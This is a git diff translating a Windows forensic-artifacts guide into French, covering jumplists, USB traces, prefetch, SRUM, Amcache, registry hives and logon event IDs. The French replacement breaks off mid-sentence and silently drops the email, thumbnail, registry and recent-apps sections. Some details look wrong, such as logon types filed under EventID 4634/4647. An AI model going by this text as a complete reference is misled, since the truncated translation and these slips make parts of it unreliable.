lié**. +Vous pouvez obtenir les mêmes informations en exécutant l'outil de ligne de commande Windows : [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +Dans ce cas, les informations vont être enregistrées dans un fichier CSV. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Ce sont les fichiers récents indiqués par application. C'est la liste des **fichiers récents utilisés par une application** auxquels vous pouvez accéder sur chaque application. Ils peuvent être créés **automatiquement ou personnalisés**. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +Les **jumplists** créés automatiquement sont stockés dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommés selon le format `{id}.autmaticDestinations-ms` où l'ID initial est l'ID de l'application. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +Les jumplists personnalisés sont stockés dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et sont créés par l'application généralement parce que quelque chose **d'important** s'est produit avec le fichier (peut-être marqué comme favori). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +L'heure de création de n'importe quelle jumplist indique la **première fois que le fichier a été accédé** et l'heure de modification la dernière fois. -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../.gitbook/assets/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_Notez que les horodatages fournis par JumplistExplorer sont liés au fichier jumplist lui-même_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Suivez ce lien pour savoir ce que sont les shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Utilisation des clés USB Windows -It's possible to identify that a USB device was used thanks to the creation of: +Il est possible d'identifier qu'un périphérique USB a été utilisé grâce à la création de : -* Windows Recent Folder -* Microsoft Office Recent Folder +* Dossier récent Windows +* Dossier récent Microsoft Office * Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Notez que certains fichiers LNK, au lieu de pointer vers le chemin d'origine, pointent vers le dossier WPDNSE : ![](<../../../.gitbook/assets/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +Les fichiers du dossier WPDNSE sont une copie de ceux d'origine, ils ne survivront donc pas à un redémarrage du PC et le GUID est pris à partir d'un shellbag. -### Registry Information +### Informations du registre -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[Vérifiez cette page pour savoir](interesting-windows-registry-keys.md#usb-information) quels clés de registre contiennent des informations intéressantes sur les périphériques USB connectés. ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages sur quand la connexion USB a été produite (recherchez `Section start`). -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) peut être utilisé pour obtenir des informations sur les périphériques USB qui ont été connectés à une image. ![](<../../../.gitbook/assets/image (483).png>) -### Plug and Play Cleanup +### Nettoyage Plug and Play -The 'Plug and Play Cleanup' scheduled task is responsible for **clearing** legacy versions of drivers. It would appear (based upon reports online) that it also picks up **drivers which have not been used in 30 days**, despite its description stating that "the most current version of each driver package will be kept". As such, **removable devices which have not been connected for 30 days may have their drivers removed**. +La tâche planifiée "Nettoyage Plug and Play" est responsable de **supprimer** les versions obsolètes des pilotes. Il semblerait (selon des rapports en ligne) qu'elle supprime également les **pilotes qui n'ont pas été utilisés depuis 30 jours**, bien que sa description indique que "la version la plus récente de chaque package de pilotes sera conservée". En tant que tel, **les périphériques amovibles qui n'ont pas été connectés depuis 30 jours peuvent avoir leurs pilotes supprimés**. -The scheduled task itself is located at ‘C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup’, and its content is displayed below: +La tâche planifiée elle-même est située à 'C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup', et son contenu est affiché ci-dessous : ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -The task references 'pnpclean.dll' which is responsible for performing the cleanup activity additionally we see that the ‘UseUnifiedSchedulingEngine’ field is set to ‘TRUE’ which specifies that the generic task scheduling engine is used to manage the task. The ‘Period’ and ‘Deadline’ values of 'P1M' and 'P2M' within ‘MaintenanceSettings’ instruct Task Scheduler to execute the task once every month during regular Automatic maintenance and if it fails for 2 consecutive months, to start attempting the task during the emergency Automatic maintenance. **This section was copied from** [**here**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.** - -## Emails - -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: - -* **Who** sent the emails (email address, IP, mail servers that have redirected the email) -* **When** was the email sent - -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: - -![](<../../../.gitbook/assets/image (484).png>) - -### Windows Mail App - -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. - -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` - -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Inside the `Message` table you can see the emails. - -### Microsoft Outlook - -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: - -* `Mapi-Client-Submit-Time`: Time of the system when the email was sent -* `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -* `Mapi-Entry-ID`: Message identifier. -* `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) - -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: - -* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) -* `%USERPROFILE%\AppData\Local\Microsoft\Outlook` - -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. - -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). - -![](<../../../.gitbook/assets/image (485).png>) - -### Outlook OST - -When Microsoft Outlook is configured **using** **IMAP** or using an **Exchange** server, it generates an **OST** file that stores almost the same info as the PST file. It keeps the file synchronized with the server for the **last 12 months**, with a **max file-size of 50GB** and in the **same folder as the PST** file is saved. You can inspect this file using [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). - -### Recovering Attachments - -You may be able to find them in the folder: - -* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10 -* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+ - -### Thunderbird MBOX - -**Thunderbird** stores the information in **MBOX** **files** in the folder `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` - -## Thumbnails - -When a user accesses a folder and organised it using thumbnails, then a `thumbs.db` file is created. This db **stores the thumbnails of the images** of the folder even if they are deleted. In WinXP and Win 8-8.1 this file is created automatically. In Win7/Win10, it's created automatically if it's accessed via a UNC path (\IP\folder...). - -It is possible to read this file with the tool [**Thumbsviewer**](https://thumbsviewer.github.io). - -### Thumbcache - -Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as several files with the label **thumbcache\_xxx.db** (numbered by size); as well as an index used to find thumbnails in each sized database. - -* Thumbcache\_32.db -> small -* Thumbcache\_96.db -> medium -* Thumbcache\_256.db -> large -* Thumbcache\_1024.db -> extra large - -You can read this file using [**ThumbCache Viewer**](https://thumbcacheviewer.github.io). - -## Windows Registry - -The Windows Registry Contains a lot of **information** about the **system and the actions of the users**. - -The files containing the registry are located in: - -* %windir%\System32\Config\*_SAM\*_: `HKEY_LOCAL_MACHINE` -* %windir%\System32\Config\*_SECURITY\*_: `HKEY_LOCAL_MACHINE` -* %windir%\System32\Config\*_SYSTEM\*_: `HKEY_LOCAL_MACHINE` -* %windir%\System32\Config\*_SOFTWARE\*_: `HKEY_LOCAL_MACHINE` -* %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE` -* %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER` - -From Windows Vista and Windows 2008 Server upwards there are some backups of the `HKEY_LOCAL_MACHINE` registry files in **`%Windir%\System32\Config\RegBack\`**. - -Also from these versions, the registry file **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** is created saving information about program executions. - -### Tools - -Some tools are useful to analyze the registry files: - -* **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. - -### Recovering Deleted Element - -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. - -### Last Write Time - -Each Key-Value contains a **timestamp** indicating the last time it was modified. - -### SAM - -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. - -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. - -### Interesting entries in the Windows Registry - -{% content-ref url="interesting-windows-registry-keys.md" %} -[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md) -{% endcontent-ref %} - -## Programs Executed - -### Basic Windows Processes - -On the following page you can learn about the basic Windows processes to detect suspicious behaviours: - -{% content-ref url="windows-processes.md" %} -[windows-processes.md](windows-processes.md) -{% endcontent-ref %} - -### Windows Recent APPs - -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. - +La tâche fait référence à 'pnpclean.dll' qui est responsable de l'activité de nettoyage, en outre, nous voyons que le champ ‘UseUnifiedSchedulingEngine’ est défini sur ‘TRUE’ ce qui spécifie que le ### BAM (Background Activity Moderator) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver les informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quelle heure** elles ont été exécutées (l'heure est à l'intérieur de la valeur de données du registre). ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +Le prefetching est une technique qui permet à un ordinateur de **récupérer silencieusement les ressources nécessaires pour afficher le contenu** qu'un utilisateur **pourrait accéder dans un proche avenir** afin que les ressources puissent être accédées plus rapidement. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Le prefetching de Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` dans le chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +Le nom de fichier est créé comme `{nom_du_programme}-{hash}.pf` (le hash est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la simple présence du fichier indique que **le programme a été exécuté** à un moment donné. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers qui sont prefetchés**. Ce fichier contient des **informations sur le nombre d'exécutions**, les **dates** d'exécution et les **fichiers** **ouverts** par le programme. +Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) : ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../.gitbook/assets/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** a le même objectif que prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service prefetch.\ +Ce service générera des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin** **complet**, les **plages** **temporelles** et les **horodatages**. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Vous pouvez accéder à ces informations en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **surveille** les **ressources** **consommées** **par un processus**. Il est apparu dans W8 et stocke les données dans une base de données ESE située dans `C:\Windows\System32\sru\SRUDB.dat`. -It gives the following information: +Il fournit les informations suivantes : -* AppID and Path -* User that executed the process -* Sent Bytes -* Received Bytes -* Network Interface -* Connection duration -* Process duration +* ID de l'application et chemin d'accès +* Utilisateur ayant exécuté le processus +* Octets envoyés +* Octets reçus +* Interface réseau +* Durée de la connexion +* Durée du processus -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). +Ces informations sont mises à jour toutes les 60 minutes. +Vous pouvez obtenir les données de ce fichier en utilisant l'outil [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -**Shimcache**, also known as **AppCompatCache**, is a component of the **Application Compatibility Database**, which was created by **Microsoft** and used by the operating system to identify application compatibility issues. +Le **Shimcache**, également connu sous le nom de **AppCompatCache**, est un composant de la **base de données de compatibilité des applications**, créée par **Microsoft** et utilisée par le système d'exploitation pour identifier les problèmes de compatibilité des applications. -The cache stores various file metadata depending on the operating system, such as: +Le cache stocke diverses métadonnées de fichiers en fonction du système d'exploitation, telles que: -* File Full Path -* File Size -* **$Standard\_Information** (SI) Last Modified time -* ShimCache Last Updated time -* Process Execution Flag +* Chemin complet du fichier +* Taille du fichier +* **$Standard\_Information** (SI) Heure de dernière modification +* Heure de dernière mise à jour du ShimCache +* Indicateur d'exécution de processus -This information can be found in the registry in: +Ces informations peuvent être trouvées dans le registre à: * `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` - * XP (96 entries) + * XP (96 entrées) * `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` - * Server 2003 (512 entries) - * 2008/2012/2016 Win7/Win8/Win10 (1024 entries) + * Server 2003 (512 entrées) + * 2008/2012/2016 Win7/Win8/Win10 (1024 entrées) -You can use the tool [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) to parse this information. +Vous pouvez utiliser l'outil [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) pour analyser ces informations. ![](<../../../.gitbook/assets/image (488).png>) ### Amcache -The **Amcache.hve** file is a registry file that stores the information of executed applications. It's located in `C:\Windows\AppCompat\Programas\Amcache.hve` +Le fichier **Amcache.hve** est un fichier de registre qui stocke les informations des applications exécutées. Il est situé dans `C:\Windows\AppCompat\Programas\Amcache.hve` -**Amcache.hve** records the recent processes that were run and list the path of the files that are executed which can then be used to find the executed program. It also records the SHA1 of the program. - -You can parse this information with the tool [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser) +**Amcache.hve** enregistre les processus récents qui ont été exécutés et liste le chemin des fichiers qui sont exécutés, ce qui peut ensuite être utilisé pour trouver le programme exécuté. Il enregistre également le SHA1 du programme. +Vous pouvez analyser ces informations avec l'outil [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser) ```bash AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum ``` - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +Le fichier CVS le plus intéressant généré est le fichier `Amcache_Unassociated file entries`. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Cet artefact ne peut être trouvé que dans W7 dans `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` et il contient des informations sur l'exécution récente de certains binaires. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Vous pouvez utiliser l'outil [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) pour analyser le fichier. -### Scheduled tasks +### Tâches planifiées -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Vous pouvez les extraire de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` et les lire en tant que XML. ### Services -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Vous pouvez les trouver dans le registre sous `SYSTEM\ControlSet001\Services`. Vous pouvez voir ce qui va être exécuté et quand. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Les applications installées peuvent être trouvées dans `\ProgramData\Microsoft\Windows\AppRepository\`\ +Ce référentiel a un **journal** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +Dans la table Application de cette base de données, il est possible de trouver les colonnes : "Application ID", "PackageNumber" et "Display Name". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il est possible de savoir si certaines applications ont été désinstallées car les ID des applications installées doivent être séquentiels. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +Il est également possible de **trouver des applications installées** dans le chemin du registre : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Et des **applications désinstallées** dans : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` -## Windows Events +## Événements Windows -Information that appears inside Windows events are: +Les informations qui apparaissent dans les événements Windows sont : -* What happened -* Timestamp (UTC + 0) -* Users involved -* Hosts involved (hostname, IP) -* Assets accessed (files, folder, printer, services) +* Ce qui s'est passé +* Horodatage (UTC + 0) +* Utilisateurs impliqués +* Hôtes impliqués (nom d'hôte, IP) +* Actifs accessibles (fichiers, dossiers, imprimantes, services) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +Les journaux sont situés dans `C:\Windows\System32\config` avant Windows Vista et dans `C:\Windows\System32\winevt\Logs` après Windows Vista. Avant Windows Vista, les journaux d'événements étaient au format binaire et après, ils sont au format **XML** et utilisent l'extension **.evtx**. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +L'emplacement des fichiers d'événements peut être trouvé dans le registre SYSTEM dans **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Ils peuvent être visualisés à partir de l'Observateur d'événements Windows (**`eventvwr.msc`**) ou avec d'autres outils comme [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -### Security +### Sécurité -This registers the access events and gives information about the security configuration which can be found in `C:\Windows\System32\winevt\Security.evtx`. +Cela enregistre les événements d'accès et donne des informations sur la configuration de sécurité qui peut être trouvée dans `C:\Windows\System32\winevt\Security.evtx`. -The **max size** of the event file is configurable, and it will start overwriting old events when the maximum size is reached. +La **taille maximale** du fichier d'événements est configurable et il commencera à écraser les anciens événements lorsque la taille maximale est atteinte. -Events that are registered as: +Les événements qui sont enregistrés comme : -* Login/Logoff -* Actions of the user -* Access to files, folders and shared assets -* Modification of the security configuration +* Connexion/Déconnexion +* Actions de l'utilisateur +* Accès aux fichiers, dossiers et actifs partagés +* Modification de la configuration de sécurité -Events related to user authentication: +Événements liés à l'authentification de l'utilisateur : | EventID | Description | | --------- | ---------------------------- | -| 4624 | Successful authentication | -| 4625 | Authentication error | -| 4634/4647 | log off | -| 4672 | Login with admin permissions | +| 4624 | Authentification réussie | +| 4625 | Erreur d'authentification | +| 4634/4647 | Déconnexion | +| 4672 | Connexion avec des autorisations d'administrateur | -Inside the EventID 4634/4647 there are interesting sub-types: +À l'intérieur de l'EventID 4634/4647, il y a des sous-types intéressants : -* **2 (interactive)**: The login was interactive using the keyboard or software like VNC or `PSexec -U-` -* **3 (network)**: Connection to a shared folder -* **4 (Batch)**: Process executed -* **5 (service)**: Service started by the Service Control Manager -* **6 (proxy):** Proxy Login -* **7 (Unlock)**: Screen unblocked using password -* **8 (network cleartext)**: User authenticated sending clear text passwords. This event used to come from the IIS -* **9 (new credentials)**: It's generated when the command `RunAs` is used or the user access a network service with different credentials. -* **10 (remote interactive)**: Authentication via Terminal Services or RDP -* **11 (cache interactive)**: Access using the last cached credentials because it wasn't possible to contact the domain controller -* **12 (cache remote interactive)**: Login remotely with cached credentials (a combination of 10 and 11). -* **13 (cached unlock)**: Unlock a locked machine with cached credentials. +* **2 (interactif)** : La connexion était interactive en utilisant le clavier ou un logiciel comme VNC ou `PSexec -U-` +* **3 (réseau)** : Connexion à un dossier partagé +* **4 (lot)** : Processus exécuté +* **5 (service)** : Service démarré par le Gestionnaire de contrôle des services +* **6 (proxy)** : Connexion proxy +* **7 (déverrouillage)** : Écran déverrouillé en utilisant un mot de passe +* **8 (texte clair réseau)** : Utilisateur authentifié en envoyant des mots de passe en clair. Cet événement venait de l'IIS +* **9 (nouvelles informations d'identification)** : Il est généré lorsque la commande `RunAs` est utilisée ou que l'utilisateur accède à un service réseau avec des informations d'identification différentes. +* **10 (interactif à distance)** : Authentification via Terminal Services ou RDP +* **11 (cache interactif)** : Accès en utilisant les dernières informations d'identification mises en cache car il n'a pas été possible de contacter le contrôleur de domaine +* **12 (cache interactif à distance)** : Connexion à distance avec des informations d'identification mises en cache (une combinaison de 10 et 11). +* **13 (déverrouillage mis en cache)** : Déverrouiller une machine verrouillée avec des informations d'identification mises en cache. -In this post, you can find how to mimic all these types of login and in which of them you will be able to dump credentials from memory: [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) +Dans ce post, vous pouvez trouver comment imiter tous ces types de connexion et dans lesquels vous pourrez extraire les informations d'identification de la mémoire : [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) -The Status and sub status information of the events can indicate more details about the causes of the event. For example, take a look at the following Status and Sub Status Codes of the Event ID 4625: +Les informations d'état et de sous-état des événements peuvent indiquer plus de détails sur les causes de l'événement. Par exemple, jetez un coup d'œil aux codes d'état et de sous-état suivants de l'ID d'événement 4625 : ![](<../../../.gitbook/assets/image (455).png>) -### Recovering Windows Events +### Récupération des événements Windows -It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probability of recovering the Windows Events. In case they were deleted, a tool that can be useful to try and recover them is [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension. +Il est fortement recommandé d'éteindre l'ordinateur suspect en le **débranchant** pour maximiser la probabilité de récupération des événements Windows. Dans le cas où ils ont été supprimés, un outil qui peut être utile pour essayer de les récupérer est [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) en indiquant l'extension **evtx**. -## Identifying Common Attacks with Windows Events +## Identification des attaques courantes avec les événements Windows -### Brute Force Attack +### Attaque par force brute -A brute force attack can be easily identifiable because **several EventIDs 4625 will appear**. If the attack was **successful**, after the EventIDs 4625, **an EventID 4624 will appear**. +Une attaque par force brute peut être facilement identifiable car **plusieurs EventIDs 4625 apparaîtront**. Si l'attaque a été **réussie**, après les EventIDs 4625, **un EventID 4624 apparaîtra**. -### Time Change +### Changement de temps -This is awful for the forensics team as all the timestamps will be modified. This event is recorded by the EventID 4616 inside the Security Event log. +C'est terrible pour l'équipe de forensique car tous les horodatages seront modifiés. Cet événement est enregistré par l'EventID 4616 dans le journal d'événements de sécurité. -### USB devices +### Périphériques USB -The following System EventIDs are useful: +Les EventIDs système suivants sont utiles : -* 20001 / 20003 / 10000: First time it was used -* 10100: Driver update +* 20001 / 20003 / 10000 : Première fois qu'il a été utilisé +* 10100 : Mise à jour du pilote -The EventID 112 from DeviceSetupManager contains the timestamp of each USB device inserted. +L'EventID 112 de DeviceSetupManager contient l'horodatage de chaque périphérique USB inséré. -### Turn Off / Turn On +### Allumage / Extinction -The ID 6005 of the "Event Log" service indicates the PC was turned On. The ID 6006 indicates it was turned Off. +L'ID 6005 du service "Journal des événements" indique que l'ordinateur a été allumé. L'ID 6006 indique qu'il a été éteint. -### Logs Deletion +### Suppression des journaux -The Security EventID 1102 indicates the logs were deleted. +L'EventID de sécurité 1102 indique que les journaux ont été supprimés.
